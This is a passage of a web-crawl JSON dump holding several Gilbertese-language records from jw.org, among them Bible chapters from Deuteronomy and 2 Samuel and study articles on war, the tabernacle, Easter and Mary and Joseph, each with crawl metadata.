aonnaba?","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/nanon-Iehova\/taabo-n-taromauri\/","date":"2018-02-24T12:45:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891815560.92\/warc\/CC-MAIN-20180224112708-20180224132708-00330.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":372,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.205,"stopwords_ratio":0.43,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko na kangaa ni kaekaa te titiraki anne? A a bati ake a iangoia bwa e kukurei te Atua n te buaka. A iangoa aei ngke e tua nakoia taan taromauria n taai ake rimoa bwa a na buaka ao e kakoauaaki anne n te Baibara. Ma a ataia tabeman bwa e reireinia taan rimwina Iesu are Natin te Atua bwa a na tangiriia aia kairiribai. (Mataio 5:43, 44) Ngaia are a iangoia bwa e kona ni bitaki ana iango te Atua n te buaka n tabetai ao e aki kukurei n te buaka ni boong aikai.\nTera am iango iai? E boni kukurei te Atua n te buaka? Ngkana ngaia anne, te itera raa ae e na tei iai ni bong aikai? Ko na buokaki n nenera raoi am namakin ao am iango ni karekeani kaekaan titiraki akanne. N te katoto, ngkana ko ataia bwa e aki tii kukurei te Atua n te buaka ma e boutokaa te itera are ko boutokaia, ko na bae n namakina te kukurei n te itera are ko tei iai ni kakoauaan ae na bon tokanikai. N te itera are teuana, tera arom ngkana ko ataia bwa te Atua e aki tei n am itera? Tao ko na bae n iaiangoa aron am itera n te baere e riki.\nIai riki te bwai ae rangi ni kakawaki ae kona ni bua. E na rotaki am iango ibukin te Atua n ataakin ana iango ibukin te buaka. Ngkana ko mena i buakoia mirion aomata ake a kammarakaki n aia buaka aomata, akea te nanououa bwa ko bae ni kan ataa kaekaan te titiraki ae, E koaua bwa te Atua bon te tia karika te buaka are e kariaia ke ni boutokaa naba te rawawata man te buaka ke e tii mamataku ao n aki tabe ma te buaka are a karaoaki iai mwakuri n iowawa nakoia aomata, n aron ae a kakoauaa tabemwaang?\nKo aki riai ni mimi n ataakin te kaeka man te Baibara ae rangi ni kaokoro ma aia iango aomata aikai. Ma e bon aki bitaki ana iango te Atua, e bon aki boutokaa te buaka mangkekei ni karokoa ngkai. Ti na nora te bae e taekinaki n te Baibara ni kaineti ma ana iango te Atua ibukin te buaka n taai ake rimoa ao n te moan tienture ni menan Iesu i aon te aba. Ti na buokaki iai n nora ana iango te Atua n te buaka ni boong aikai ao ngkana e na riki bwa kanoan te babaire ibukia aomata nakon taai aika a na roko.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/wp20151101\/tera-ae-taekinaki-n-te-baibara-ibukin-te-buaka\/","date":"2018-02-24T14:26:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891815812.83\/warc\/CC-MAIN-20180224132508-20180224152508-00327.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":426,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.448,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"5 Ao Mote e weteiia tibun Iteraera ni kabane ao e taku nakoia: \"Ongora ngkami aika tibun Iteraera, ni kaetieti ma mooti aika I katanoatai nakoimi n te bong aei, ao kam riai n reiakin ao ni kakairi raoi iai. 2 E karaoa te berita ma ngaira Iehova ae Atuara i Oreba.+ 3 E aki karaoa te berita aei Iehova ma ara bakatibu, ma e karaoia ma ngaira aika ti maiu ni kabane n te bong aei. 4 E taetae Iehova n itaramata ma ngkami n te maunga mai nanon te ai.+ 5 I tei i marenami ma Iehova n te tai anne+ bwa N na karokoa ana taeka Iehova iroumi, bwa kam maaku ibukin te ai ao kam aki ararakea te maunga.+ E taku, 6 \"'Bon Iehova ngai ae Atuam, ae I kairiko ni kaotinakoko man te aba are Aikubita, man te auti n toronaki.+ 7 Ko na tai karekeia riki atuam i rarikiu.*+ 8 \"'Ko na tai karaoa am bouannanti ae kaaraki+ ke te bwai ae katotongan* te bwai teuana i karawa i eta ke i aon te aba i nano ke n te ran i aon te aba. 9 Ko na tai bobaraaki nakoia ke ni kairaki bwa ko na toro irouia,+ bwa bon Iehova ngai ae Atuam ae te Atua ae I tua bwa N na taromauriaki n tii ngai,*+ ae I katuuaaeia naati mwaane ibukin aia kairua tamaia, ao te katenroro naba ma te kaaroro, ibukia taama akana ribaai akanne,+ 10 ma I kaota te tangira ae koaua* nakoia rooro aika nga ma nga, ibukia taama aika tangirai ma ni kawakin au tua. 11 \"'Ko na tai kabongana aran Iehova ae Atuam n te aro ae aki riai,+ bwa Iehova e na boni katuuaaea te aomata ae kabongana arana n te aro ae aki riai.+ 12 \"'Kawakina te bongi n Taabati ni katabua, n aron are e tua nakoim Iehova ae Atuam.+ 13 Ko na bekutata ao karaoi am mwakuri ni kabane i nanon onobong,+ 14 ma te kaitiua ni bong bon te bongi n taabati nakon Iehova ae Atuam.+ Ko na tai karaoa te mwakuri teuana,+ ngkoe ke natim te mwaane ke natim te aine, ke am toro te mwaane ke am toro te aine, ke am kao mwaane ke am taongki, ke am man ae manana temanna, ke te aomata ae maeka n iruwa n am kaawa nako*+ bwa e aonga ni motirawa am toro te mwaane ao am toro te aine n ai arom.+ 15 Uringnga are ko riki ngkoa bwa te toro n te aba are Aikubita ao e kairiko ni kaotinakoko mai iai Iehova ae Atuam, n te bai ae korakora ao n te bai ae aroraki.+ Anne bukina ae e tua iai nakoim Iehova ae Atuam bwa ko na kawakina te bongi n Taabati. 16 \"'Karinea tamam ma tinam,+ n aron are e tua nakoim Iehova ae Atuam, bwa ko aonga ni maiu i nanon te tai ae maan ao ko na kabwaia* n te aba ae e a anganiko Iehova ae Atuam.+ 17 \"'Ko na tai tiriaomata.+ 18 \"'Ko na tai wene ni kimoa.+ 19 \"'Ko na tai iraa.+ 20 \"'Ko na tai kaotioti ni kewe ni kaitaraa raom n aomata.+ 21 \"'Ko na tai mataaiakina buun raom.+ Ko na tai nanonrang ni mataaiakina ana auti raom, ke ana tawaana, ke ana toro te mwaane, ke ana toro te aine, ke ana kao mwaane ke ana taongki ke te bwai teuana ae ana bwai raom.'+ 22 \"E taekin tuua* aikai Iehova nakon ami botaki n aomata i aon te maunga mai nanon te ai, te nang, ao te rotongitong ae matenten,+ ma te bwanaa ae korakora ao akea te bwai ae e karakaa. Imwina ao e korei i aoni baaba ake uoua ake atibu ao e anganai.+ 23 \"Ma n te tai are kam ongo iai te bwanaa man te rotongitong, ngke e tabe ni bue te maunga n te ai,+ ao a a bane naba ni kawarai mataniwi n ami baronga nako ao ami unimwaane. 24 Ao kam taku, 'Akea bwa e a kaota mimitongina ma kakannatona nakoira Iehova ae Atuara, ao ti ongo bwanaana ae nako mai nanon te ai.+ Ti a tia n noria n te bong aei bwa e kona te Atua n taetae ma te aomata ao e kona te aomata anne n teimatoa ni maiu.+ 25 Mangaia ae e aera ngkai ti na mate? Bwa e na kabuekira te ai ae rangi ni korakora aei. Ngkana ti teimatoa n ongora ni bwanaan Iehova ae Atuara, ao ti na boni mate. 26 Bwa antai ae ai arora i buakoia aomata ni kabane ae e a tia n ongo bwanaan te Atua ae maiu n taetae mai nanon te ai, ao e teimatoa ni maiu? 27 Boni ngkoe ae ko na kaaniko bwa ko na ongora ni bwaai ni kabane ake e na taekin Iehova ae Atuara, ao boni ngkoe ae ko na tuangira bwaai ni kabane ake e taekin nakoim Iehova ae Atuara, ao ti na ongora ao ti na karaoia.'+ 28 \"Mangaia are e ongo Iehova taeka ake kam taekin nakoiu, ao e taku Iehova nakoiu, 'I ongo aia taeka aomata aikai ake a taekin nakoim. A raoiroi baike a taekin ni kabane.+ 29 Ma tera ngke iai nanoia n taai nako ni kani maakai+ ao ni kawakin au tua ni kabane,+ bwa a aonga n nakoraoi bwaai ni kabane ibukia ma natiia n aki toki!+ 30 Naako kangai nakoia: \"Okiri ami umwanrianna.\" 31 Ma ko riai ngkoe n tiku ikai ma ngai, ao N na tuangko tuua ni kabane, kaetieti, ao mooti aika ko riai n reireinia bwa a na kakairi iai n te aba ae I a angania bwa abaia.' 32 Ma kam riai n taratarai raoi ngkami bwa kam na karaoa are e tua nakoimi Iehova ae Atuami.+ Kam na tai rairaki nakon te angaatai ke te angamaing.+ 33 Kam riai n nakonako ni kawai nako ake e tua nakoimi Iehova ae Atuami,+ bwa kam aonga ni maiu ao ni kabwaia ao e na maan ami bong n te aba are kam na abanna.+\nTaiani Kabwarabwara Mai Nano\n^ Ke, \"rangi ni bobuaka ana waaki ma ngai.\" Ebera, \"n ekaanako ubuu.\"\n^ Ke, \"bannan.\"\n^ Ke, \"te Atua ae tauaninne (ingainga); te Atua ae aki kariaia te kaiangatoa.\"\n^ Ke, \"te akoi ae boto i aon te tangira.\"\n^ Ebera, \"mataroan te oo.\"\n^ Ke, \"ao a na nakoraoi bwaai ni kabane ibukim.\"\n^ Ebera, \"taeka.\"","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/te-tua-kaua\/5\/","date":"2018-02-24T14:29:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891815812.83\/warc\/CC-MAIN-20180224132508-20180224152508-00329.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1037,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.259,"stopwords_ratio":0.437,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ngke e mena i aon te Maunga ae Tinai Mote, e tuangnga Iehova bwa e na katea te umwanrianna ae okoro ae arana te umwanrianna ae tabu, ike a a kona iai n taromauria Iehova tibun Iteraera. A kona n uouota te umwanrianna ae tabu aei ngkana a mwamwananga.\nE taku Iehova: 'Tuangia aomata bwa a na anga baike a kona n anga ibukini buokani katean te umwanrianna ae tabu.' Ao a anga tibun Iteraera te koora, te tirewa, te buraati, atibu aika kakawaki, ao baika rangi ni kakawaki. Ao a anga naba buraen te tiibu, te rinen, kunniman, ao bwaai aika bati riki. A rangi n tituaraoi n te aro are e a riai Mote n tuangia ni kangai: 'E a tau! An tai manga uotiimai bwaai.'\nA bati mwaane ao aine aika rabakau ake a buoka katean te umwanrianna ae tabu. E angania te wanawana Iehova ibukin te mwakuri. Tabeman a bibinoka, a itutu, ke a taetaeri. Ake tabeman a katauraoi atibu, a mwakuria te koora, ke a kaara te kai.\nA katea te umwanrianna ae tabu aomata n aron are e tuangia Iehova. A karaoa te keeten ae tamaroa ni kaokoroa te umwanrianna ae tabu nakon uoua te ruu, bwa te Ruu ae Tabu ao te Ruu ae Moan te Tabu. E mena te ati ni berita ae karaoaki man te kai ae te aketia ao te koora, n te Ruu ae Moan te Tabu. E mena te kaintaura ae te koora, te taibora, ao te baonikarea ibukini kabuekani baika boiarara, n te Ruu ae Tabu. E mena te taabu ae te buraati ao te baonikarea ae buburakaei n te katawanang. A kauringaki n te ati ni berita tibun Iteraera ibukin aia berita are a na ongeaba iroun Iehova. Ko ataia bwa tera te berita? Bon te boraraoi ae okoro.\nE rinea Aaron ma natina mwaane Iehova bwa a na beku bwa ibonga n te umwanrianna ae tabu. A riai n tararuaia ao n angakarea iai nakon Iehova. Bon tii Aaron ae te ibonga ae rietata ae kariaiakaki n rin n te Ruu ae Moan te Tabu. E kakaraoa aei teuana te tai n te ririki bwa e na angakarea ibukin ana bure, aia bure ana utu, ao aia bure tibun Iteraera ni kabane.\nE tia te umwanrianna ae tabu irouia tibun Iteraera, teuana te ririki imwini kitanan Aikubita. E a reke ngkai aia tabo n taromauria Iehova.\nE kaona te umwanrianna ae tabu Iehova ni mimitongina, ao e kaaki te nang i etana. Ngkana e tiku te nang i etan te umwanrianna, ao a teimatoa n tiku tibun Iteraera n te tabo are a mena iai. Ma ngkana e a waerake te nang, a ataia ngkanne bwa ai tain te mwananga. A kabwaranakoa te umwanrianna ae tabu ao a ririmwin te nang.\n\"Ao I ongo te bwanaa ae korakora man te kaintokanuea ae kangai: 'Noria! E a mena ana umwanrianna te Atua irouia aomata, ao e na maeka ma ngaiia ao a na riki bwa ana aomata. Ao te Atua e na boni memena irouia.' \"—Te Kaotioti 21:3","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/karaki-man-te-baibara-reirei\/5\/umwanrianna-ae-tabu-mote\/","date":"2018-02-24T21:43:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891815951.96\/warc\/CC-MAIN-20180224211727-20180224231727-00393.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":511,"character_repetition_ratio":0.115,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.476,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"3 E reitinako te buaka i marenaia kaaini batan Tauro ao kaaini batan Tawita, ao e a ririkirake ni korakora Tawita,+ ma a ririkirake ni mamaara kaaini batan Tauro.+ 2 N te tai anne ao a bungiaki i Eberon natin Tawita aika mwaane.+ Ana karimoa bon Amnon+ mairoun Ainoam+ are te I-Ietireera. 3 Ana kauoman boni Kireaba mairoun Abikaira+ are buun Nabara are te I-Karemera, ao te kateniman bon Abetarom+ are natini Maaka are natin Taremai+ are ueani Keturi. 4 Te kaaman bon Atoniia+ are natin Akita, ao te kaniman bon Tebatia are natin Abitara. 5 Te kaonoman bon Iteream mairouni buun Tawita ae Ekera. A bungiaki natin Tawita aikai i Eberon. 6 Ngke e waakinako te buaka i marenaia kaaini batan Tauro ao kaaini batan Tawita, ao e teimatoa Abenera+ ni karikirakea mwaakana ni batan Tauro. 7 Ao iai buun Tauro ni kewe* ae arana Ritiba,+ ae natin Aia. Imwina riki ao e a taku Itiboteta+ nakon Abenera: \"E aera ngkai ko wene n taanga ma buun tamau ni kewe?\"+ 8 E rangi n un Abenera n ana taeka Itiboteta aikai ao e taku: \"Kamean Iuta ngai ae akea uaau? I a tia ni kaotiota te tangira ae koaua* ni karokoa te bong naba aei nakoia kaaini batan Tauro are tamam, ao nakoia tarina ma raoraona, ao I aki roko n te kamwaneko nako nanoni bain Tawita, ma n te bong aei ao ko a bukinai n te bure ni kaineti ma te aine. 9 Ke e karaoa anne te Atua nakon Abenera ao ni kamwaitia riki, ngkana I aki karaoa te bwai ibukin Tawita are e a tia Iehova n taetae n tuea iai nakoina:+ 10 ae kamwaingan te tautaeka n uea mani batan Tauro ao katean ana kaintokanuea Tawita i aon Iteraera ao Iuta, mai Tan nako Beerateba.\"+ 11 E a aki kona ni manga taekina riki te taeka teuana ni kaekaa iai Abenera, bwa e a maakua.+ 12 E aki tabwara Abenera ma e a kanakoia naba taan uataeka nakon Tawita ni kangai: \"Antai ana bwai te aba?\" Ao e reitia ni kangai: \"Karaoa te berita ma ngai, ao N na karaoa ae I kona* ni kairiia tibun Iteraera ni kabane nakon am itera.\"+ 13 Ao e kaeka ni kangai: \"E raoiroi! N na karaoa te berita ma ngkoe. Ma tii teuana te bwai ae I kan tuangko bwa ko na aki kataia n nora matau ma tii ngkana ko kaira Mikara+ are natin Tauro, ngkana ko nakomai ni kawarai.\" 14 Ao e kanakoia taan uataeka Tawita nakon Itiboteta+ are natin Tauro ni kangai: \"Ko na anganai buu are Mikara are I kabae ngkoa ma ngaia n 100 kunin taboni mwaaneia I-Biritia.\"+ 15 Mangaia are e kanaanako Itiboteta bwa e na anaaki neiei mairouni buuna are Baretiera+ are natin Raiti. 16 Ma e rianna buun neiei n iriria ao n ririmwina n tangitang ni karokoa Baurim.+ E taku ngkanne Abenera nakon teuaei: \"Naako oki!\" Ai ngaia are e a oki. 17 N te tai anne ao e kanakotaeka Abenera nakoia aia unimwaane tibun Iteraera ni kangai: \"N taai aika nako ao kam a tia n ukoukora kaueaan Tawita i aomi. 18 Mangaia ae waaki ngkai bwa e taku Iehova nakon Tawita, 'Ni bain Tawita ae au toro+ ao N na boni kamaiuia iai au aomata aika tibun Iteraera mai nanoni baia I-Biritia, ao mai nanoni baia aiaia ni kabane.'\" 19 Ao e taetae naba Abenera nakoia tibuni Beniamin.+ Imwina ao e a nako Abenera bwa e na taetae nakon Tawita n tii ngaiia i Eberon, bwa e na tuangnga te baere a boraoi n iango iai tibun Iteraera ao tibuni Beniamin ni kabane. 20 Ngke e a roko Abenera iroun Tawita i Eberon ma mwaane aika 20, ao e karaoa te baka n amwarake Tawita ibukin Abenera ao ibukia mwaane ake raona. 21 E taku ngkanne Abenera nakon Tawita: \"Kariaia bwa N na nako n ikotiia tibun Iteraera ni kabane nakon au toka ae te uea, bwa a aonga ni karaoa te berita ma ngkoe, ao ko na riki bwa te uea i aoni bwaai nako ake ko tangiri.\" Ao Tawita e kanakoa Abenera, ao e touaanako kawaina ma te rau. 22 Ao a a tibwa oki ana toro Tawita ma Ioaba man te buaka ni kuribwai, ao a uotii rikaaki konaia aika mwaitikurikuri. Ao ai akea Abenera i rarikin Tawita i Eberon bwa e a tia ni kanakoa bwa e na touaanako kawaina ma te rau. 23 Ngke e a roko Ioaba+ ma kaain te taanga ni buaka ni kabane ake raona, ao e kaongoaki ae kangai Ioaba: \"E roko Abenera+ are natin Nera+ iroun te uea, ao e kanakoa bwa e na touaanako kawaina ma te rau.\" 24 Ao e rin Ioaba nakon te uea ao e taku: \"Tera ae ko karaoia? Ngaia e roko ikai Abenera ni kawariko, ao e aera ngkai ko kanakoa bwa e na nako n akea ana kangaanga? 25 Ko bon ataa Abenera are natin Nera! E roko ikai bwa e na mwamwanaiko bwa e na atai kawaim nako ao n nori bwaai ni kabane aika ko karaoi.\" 26 Ao Ioaba e kitana Tawita ao e kanakoia taan uataeka bwa a na rimwin Abenera, ao a kairia n oki man te mwarua n ran are Tiira, ma e aki ataa te baei Tawita. 27 Ngke e a oki Abenera nako Eberon,+ ao e kairia Ioaba n rin ni mataroan te oo ni kaokoroa bwa e na taetae ma ngaia n tii ngaiia. Ma e ewara birotona ikekei ao e mate.+ Aei bon ibukin tiringan* tarina are Ataera.+ 28 Ngke e a ongo te baei Tawita imwina riki, ao e taku: \"Akea au bure ma ana bure au tautaeka n uea i matan Iehova n aki toki, ni kaineti ma katutuan raraan+ Abenera are natin Nera. 29 E bia oki nako aon atun Ioaba+ ao nako aoia kaaini batan tamana ni kabane. E bia rereke i buakoia kaaini batan Ioaba, mwaane aika karawawataaki n te bae waanako mairouia,+ ke aomata aika rebera,+ ke mwaane aika kabongana te kai ni waewae,* ke akana bwaka n te kabaang, ke akana akea kanaia!\"+ 30 Ao Ioaba ma tarina are Abitiai+ a tiringa Abenera+ ibukina bwa e kamatea tariia are Ataera n te buaka+ i Kibeon. 31 E taku ngkanne Tawita nakon Ioaba ao aomata nako ake raona: \"Raeuai ami kunnikai ao kabaea te raerobwa* i aomi ao tanginiwenei ibukin Abenera.\" Ao e nakonako te uea are Tawita i akun te kai n tabetabe are e uotaki iai te mate. 32 A kaiia Abenera i Eberon, ao e tang te uea n takarua n ruanimaten Abenera, ao a bane n tang aomata. 33 E anene n tanginiwenei te uea ibukin Abenera ao e taku: \"E riai bwa e na mate Abenera n aroni maten te aomata ae nanobaba? 34 A aki kabaeaki baim,Ao a aki mena waem ni bwaai ni kabaewae.* Ko bwaka n ai aron te aomata ae bwaka imwaia te koraki aika taani bure.\"*+ Mangaia are a a manga bane naba n tang aomata ibukin teuaei. 35 Imwina riki ao a a bane n roko aomata n angan Tawita te amwarake ibukini kabebetean nanona,* ngkai e boni ngaina naba, ma e taetae n tuea Tawita ni kangai: \"E bia karaoa te aro aei te Atua nakoiu ao ni kamwaitia riki ngkana I katoonga te amwarake ke te bwai naba teuana imwaini bungin taai!\"+ 36 A bane aomata n ataa te bwai ae riki ao a boraoi n iango ma te baere e karaoia te uea. A bane ni kukurei aomata ni bwaai nako ake e karaoi te uea. 37 Mangaia are a ataia n te bong anne aomata ni kabane ma tibun Iteraera ni kabane, bwa e aki bukintaeka te uea ni kamatean Abenera are natin Nera.+ 38 E taku ngkanne te uea nakoia ana toro: \"Kam aki ataia ae e a bwaka te toka ao te mwaane ae kakannato n te bong aei i Iteraera?+ 39 I a mamaara n te bong aei e ngae ngke I a tia ni kabiraki bwa te uea,+ ao a a korakora riki nakoiu+ ngkai mwaane aikai aika natin Teruia.+ Ke e kabooa Iehova mwin ana mwakuri te tia karaoa ae buakaka ni kaineti ma buakakana.\"+\nTaiani Kabwarabwara Mai Nano\n^ Ke, \"te tangira ae kona n onimakinaki.\"\n^ Ebera, \"ao noria! e mena baiu iroum.\"\n^ Ebera, \"ibukin raraan.\"\n^ Tao e kaineti nakon te mwaane ae mwauku ae riai ni karaoa te mwakuri n aine.\n^ Nora Nanon Taeka.\n^ Ebera, \"ae te buraati.\"\n^ Ebera, \"natin te buakaka.\"\n^ Ke, \"amwarake n tanginiwenei.\"","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/2-tamuera\/3\/","date":"2018-02-20T02:58:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891812871.2\/warc\/CC-MAIN-20180220010854-20180220030854-00338.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1382,"character_repetition_ratio":0.059,"word_repetition_ratio":0.006,"special_characters_ratio":0.242,"stopwords_ratio":0.405,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ana kaeka te Baibara\nTe bukamaru ae te Itita e bon aki boto man te Baibara. Ma ngkana ko iangoa moan rikina, ko na ota raoi n ae nanonaki n te Itita ae taekan te katei rimoa ae irekereke ma te kakariki. Iangoi baikai.\nTe ara: E taku te Encyclopædia Britannica: \"\nE aki ataaki bwa e moan reke mai ia te ara n te taetae n Ingiriti ae Easter. E karekea te ara aei te mataniwi n te Aro i Engiran ae Venerable Bede are maiu n te ka-8 n tienture, mairoun atuaia kaain Engiran ae te aine ae atuan te abue, ae arana are ataaki naba irouia kaain Engiran ngkoa n te ara ae Eostre.\" Tabeman riki a kairekerekea ma atuaia kaaini Boinike ae Astarte ae te aine ae atuan te kakariki ae titeboo ma atuaia kaaini Baburon ae Ishar.\nTe rabiti: Aio te kanikina ibukin te kakariki are \"\ne reke man te bukamaru nikawai ae aia toa beekan ae kakaraoaki n tain te abue i Eurobe ao n te Aono ni Mainiku.\"—Encyclopædia Britannica.\nBunnimoa: E taekinaki n te Funk & Wagnalls Standard Dictionary of Folklore, Mythology and Legend, kakaaeani bunnimoa n tain te Itita aika aongkoa a uotaki iroun rabitin te Itita, \"\nbon tiaki te bwai n takaakaro, ma e bon nako man te katei ni beekan ae irekereke ma te kakariki.\" Kaain aaba tabeua a kakoaua bwa iai mwaakani bunnimoan te Itita ae katamaroaaki, ni \"\nkona ni karekea te kukurei, te toronibwai, te marurung, ao te kamanomano.\"—Traditional Festivals.\nTe Onea ae Boou Ibukin te Itita: \"\nE iangoaki i Scandinavia bwa e kamatauninga ao e uota te tekebuaka, butimwaean atuan te Abue, ke Easter, ma oneam aika aki boou.\"—The Giant Book of Superstitions.\nTaian Taromauri n Otin taai: A kairekerekeaki ma aia katei nikawai taan taromauria taai ae \"\nkaraoaki ngke e moan roko tain te abue ni katoa ririki ae e butimwaeaki iai otin taai ao korakorana, ae karekea te maiu ae boou ao e karikirakei kaai.\"— Celebrations—The Complete Book of American Holidays.\nE kabwarabwaraaki raoi ni kangai moan rikin te Itita n The American Book of Days: \"\nAkea te nanououa bwa e butimwaei katei ni beekan te Aro n taai akekei ao e onei nakon waaki ni Kristian.\"\nE anga te kauring te Baibara nakoia taan taromauria te Atua bwa a na rawa nakoni waaki ke katei ake a aki kakukureia te Atua. (Mareko 7:6-8) E kangai te Kauoua n I-Korinto 6:17: \"\nE taku Iehova . . . 'kaokoroingkami, ao katoka ringakin te bwai ae kamwara.'\" Te itita bon aia bongi n toa beekan ae a riai n rawa nako iai naake a kani kakukureia te Atua.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/baibara-reirei\/titiraki\/baibara-ibukin-itita\/","date":"2018-02-18T11:06:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891811830.17\/warc\/CC-MAIN-20180218100444-20180218120444-00096.warc.gz","language":"gil","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000097751617432}","num_words":434,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.401,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E taraa n ae Baruka bon te mataniwi temanna ae mwaatai n te baareti. E ngae ngke e taromauria Iehova ao ni kakaonimaki ni buoka Ieremia, ma n te taina e a aikoa bwaina te iango ae raoiroi. E a moana \"ukoukorani baika kakannato,\" ae tao te nakoa ae rietata riki n te baareti ke te kaubwai. E riai Baruka ni bita ana iango bwa e aonga ni kamaiuaki ni kamaunaan Ierutarem ae e a kaan roko.\nKo tangiria ni wareka te kaongora aei n %%?\nKatoka \"Ukoukorani Baika Kakannato Ibukim\"","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/mei-2017-mwb\/kaetieti-n-te-botaki-mei22-28\/katoka-ukoukorani-baika-kakannato\/","date":"2018-02-18T11:06:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891811830.17\/warc\/CC-MAIN-20180218100444-20180218120444-00096.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":90,"character_repetition_ratio":0.026,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.456,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E a tokara ana kaaua n namwakaina Maria ni bikoukou. Ko bae n uringnga are e mena i rarikin ana koraki are Eritabeta ni moan taorakena n te tabo ae tabukibuki i Iutaia nako maiaki. Ma e a okira ngkai mwengana Maria i Natareta. E nangi moanna n ataaki ngkai rongorongona ae e bikoukou. Iangoa aron rawawatan te baere e riki nakoina!\nTe bwai ae e kabatiaa riki ana kangaanga Maria, e kabaeaki bwa e na mare ma Ioteba ae te kabentaa. Ao e bon ataa ana Tua te Atua nakoia tibun Iteraera are e na karebanaaki n atibu ni karokoa matena te aine ae kabae ma te mwaane temanna, ao e a manga wene ni bure ma temanna. (Te Tua-Kaua 22:23, 24) E ngae ngke e aki wene ni bure Maria, ma e bae n iangoia bwa tera arona ni kabwarabwaraa bikoukouna nakon Ioteba ao tera te bwai ae e na riki.\nE nako Maria i nanon tenua namwakaina, ngaia are ti bae n ataia bwa e ingainga Ioteba ni kan noria. Ngke a a kaitiboo ao e bae Maria ni kabanea ana konaa ni kabwarabwaraa bikoukouna rinanon te taamnei ae raoiroi nakon Ioteba. N aron ae ko kona n iangoia, e bon rangi ni kangaanga bwa e na ota iai Ioteba ao ni kakoauaa.\nE ataia Ioteba bwa bon te aine ae raoiroi Maria ma n raoiroi taekana ao e rangi n tangiria naba. E ngae ngke e kabwarabwaraa arona, ma e bae n iangoia Ioteba bwa e tii kona ni bikoukou iroun te mwaane temanna. E aki tangiria Ioteba bwa e na karebanaaki neiei n atibu ni karokoa matena ke n taekanabuaka i mataia aomata, ngaia are e a iangoia bwa e na karaba ni buuraure ma ngaia. Ni boong akanne ao a iangoaki aomata aika kabae bwa kaanga a a tia ni mare ao e kainnanoaki te buuraure ibukin uruakan te kabae.\nImwina riki ao e a matu Ioteba ngke e tabe n iaiangoi baikai. E kaoti ana anera Iehova nakoina n te mii ao e taku: \"Tai maaku ni kaira buum ae Maria nakoni mwengam, bwa e riki te baere i nanona rinanon te taamnei ae raoiroi. E na bungia te nati te mwaane ao ko na aranna bwa Iesu, bwa e na kamaiuia ana aomata man aia bure.\"—Mataio 1:20, 21.\nAi boni kakaitaura Ioteba ngke e a uti ao e a mataata raoi n te baere riki! E aki tabwara ni karaoa te baere e tuangnga te anera ae kairani Maria nakoni mwengana. Karaoan aei i mataia aomata bon te waaki ni mare ike e a kaotaki iai bwa a a riki ngkai bwa taanga ni mare Ioteba ao Maria. Ma e ngae n anne, e aki roko n te wene n taanga Ioteba ma Maria ngke e bikoukoua Iesu.\nTabeua namwakaina imwina, a a riai ni katauraoiia Ioteba ao Maria are e a rawawata ngkai bwa e a kani bung bwa a na kitana mwengaia i Natareta. A na nakea n te tai aei ao e na bung n ningai 